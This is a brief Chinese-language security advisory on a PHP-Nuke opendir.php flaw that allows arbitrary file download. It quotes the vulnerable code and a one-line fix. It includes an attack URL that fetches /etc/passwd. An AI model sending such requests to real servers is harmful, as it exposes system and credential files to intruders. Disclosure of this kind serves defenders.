PHP-Nuke 允许下载任意可读文件

/ns/ld/unix/data/20010322060321.htm

漏洞系统:UNIX
影响系统:PHP Nuke新版本
不影响系统:

攻击实例:
下面的URL请求就能获得密码文件:
http://www.example.com/opendir.php?requesturl=/etc/passwd


解决方法:
简单的方法是在脚本开头任意位置初始化$requesturl

<quote>
$requesturl="";
</quote>
内 容:
http://phpnuke.org/的PHPNUKE是一个新闻自动发布系统,可以设计用来在
INTERNET和INTRANET上使用,其中存在一个漏洞可以允许远程攻击者下载
系统上的任意可读文件。下面是有漏洞的代码:

<quote opendir.php>
(...)
$REQUEST_URI = strip_tags($REQUEST_URI);
$res = explode("$PHP_SELF?", $REQUEST_URI);
$odp_cat = $res[1];
if (substr($odp_cat,0,1) == "/") $odp_cat = substr($odp_cat,1);
(define $requesturl)
(...)
</quote>